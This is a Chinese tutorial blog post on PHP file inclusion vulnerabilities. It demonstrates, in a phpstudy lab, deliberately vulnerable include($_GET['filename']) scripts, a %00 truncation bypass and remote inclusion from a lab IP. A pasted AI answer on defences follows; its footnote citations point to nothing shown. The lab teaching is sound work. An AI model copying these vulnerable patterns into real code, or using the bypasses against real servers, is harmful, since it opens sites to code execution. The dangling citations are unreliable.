文件包含漏洞的小点总结

文件本地与远程包含:

文件包含有本地包含与远程包含的区别:本地包含只能包含服务器已经有的问题;

远程包含可以包含一切网络上的文件。

  • 本地包含:

①无限制

感受一下使用phpstudy的文件上传,开启phpstudy的apache服务,在网站根目录新建两个文件

//1.txt 
<?php 
phpinfo(); 
?> 

//upload.php 
<?php 
$filename=$_GET['filename']; 
include($filename); 
?>

 

直接访问localhost/upload.php?filename=1.txt(upload.php文件内容意为使用GET方式将文件名参数传入,执行包含指令),访问如图(即使是txt文件,但是include会将其按php文件进行解析)

②有限制

如果服务器对上传的文件有限制,我们需要做绕过处理将文件包含进去。

在网站根目录下新建两个文件

//1.txt 
<?php 
phpinfo(); 
?>
 
//upload2.php 
<?php 
$filename=$_GET['filename']; 
include($filename.'.html') 
?>

如果直接访问localhost/upload2.php?filename=1.txt会报错,因为有限制,我们可以使用%00截断进行绕过。(%00具体解释参考往篇)访问localhost/upload2.php?filename=1.txt%00

长度截断:Windows和Linux对命名长度有限制,前者256个字符(磁盘分区还占一个,用户只能使用255个),后者4096

  • 远程包含:

phpstudy其他选项菜单-php扩展与设置-参数开关设置中打开allow_url_include(一般情况下为了安全性,这个是关的状态)

在远程服务器上上传文件(或者可以用虚拟机靶机做实验,在靶机的phpstudy上的根目录里写文件)如下:

//1.txt 
<?php 
phpinfo(); 
?>

靶机查询IP地址,假如是192.168.123.23

就可以在主机上直接访问http://192.168.123.23:88/1.txt

可以看到上传文件内容。

我们再使用文件包含,即访问http://localhost/upload.php?filename=http://192.168.123.23:88/1.txt即可执行文件内容。

<think>好的,用户想了解如何防御文件包含漏洞的最佳实践方法。首先,我需要回忆文件包含漏洞的基本概念和常见攻击方式。根据引用[3],攻击者可能通过上传恶意脚本、目录遍历、覆盖现有文件以及结合社会工程进行攻击。防御措施需要覆盖这些方面。 接下来,用户提到的引用[2]和引用[4]提供了具体的防御策略,比如最小权限原则、输入白名单过滤、固定文件列表等。我需要将这些策略整理成清晰的步骤,并确保涵盖所有关键点。 还要注意引用[4]提到的数据输入验证,特别是文件路径参数的检查和白名单策略。这部分需要详细说明如何实施,例如限制文件路径的格式和类型。 另外,用户可能希望方法总结结构清晰,分点列出,便于理解和实施。可能需要将最佳实践分为几个主要类别,如权限控制、输入验证、环境加固等,每个类别下再细分具体措施。 还需要检查是否有遗漏的防御点,例如服务器配置、日志监控等。引用[3]中提到的防御措施可能包括更新和打补丁,这也是重要的一点。 最后,确保回答符合用户的要求,使用中文,行内公式正确,引用标识自然添加。同时生成相关问题,帮助用户进一步学习。</think>### 如何防御文件包含漏洞?最佳实践总结 文件包含漏洞(LFI/RFI)允许攻击者通过动态加载机制执行恶意代码或泄露敏感文件。以下是防御的核心方法: --- #### **1. 权限最小化原则** - **文件系统权限**:限制Web服务器进程仅能访问必要的目录和文件(如上传目录不可执行),禁止访问系统关键路径[^2]。 - **禁用危险函数**:在PHP中关闭`allow_url_include`和`allow_url_fopen`,避免远程文件包含[^4]。 --- #### **2. 输入验证与过滤** - **白名单控制**: - 仅允许预定义的安全字符(如`a-zA-Z0-9_-`),拒绝`../`、`://`等危险符号[^4]。 - 使用正则表达式验证文件路径格式,例如:`^[a-z]+/[a-z]+\.php$`。 - **固定文件映射**: - 将用户输入映射到固定文件列表,如`$file = ["page1" => "template/page1.php", ...]`。 --- #### **3. 路径隔离与规范化** - **根目录锁定**:使用`chroot`或`open_basedir`限制文件操作范围,例如: ```php ini_set('open_basedir', '/var/www/html/uploads'); ``` - **路径解析规范化**:使用`realpath()`解析绝对路径,并检查是否在允许范围内。 --- #### **4. 环境加固与更新** - **禁用动态包含**:避免直接使用用户输入拼接包含路径,如`include($_GET['module'] . '.php')`。 - **依赖库更新**:及时修补框架(如ThinkPHP、Laravel)中的文件包含漏洞。 --- #### **5. 日志监控与应急响应** - 记录异常文件访问行为(如尝试包含`/etc/passwd`)。 - 部署WAF拦截包含`../`或`php://filter`等特征的请求[^1]。 --- #### **示例:安全包含逻辑** ```php $allowed_pages = ['home', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include("templates/$page.php"); } else { die("Invalid request"); } ``` --- ### 相关问题 1. 文件包含漏洞如何与文件上传漏洞结合利用?[^3] 2. 如何通过服务器配置防御路径穿越攻击? 3. 在云环境中(如使用EdgeOne),如何增强文件包含漏洞的防护? --- 通过以上方法,可显著降低文件包含漏洞风险。核心思路是 **严格控制输入、最小化权限、隔离执行环境** 。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值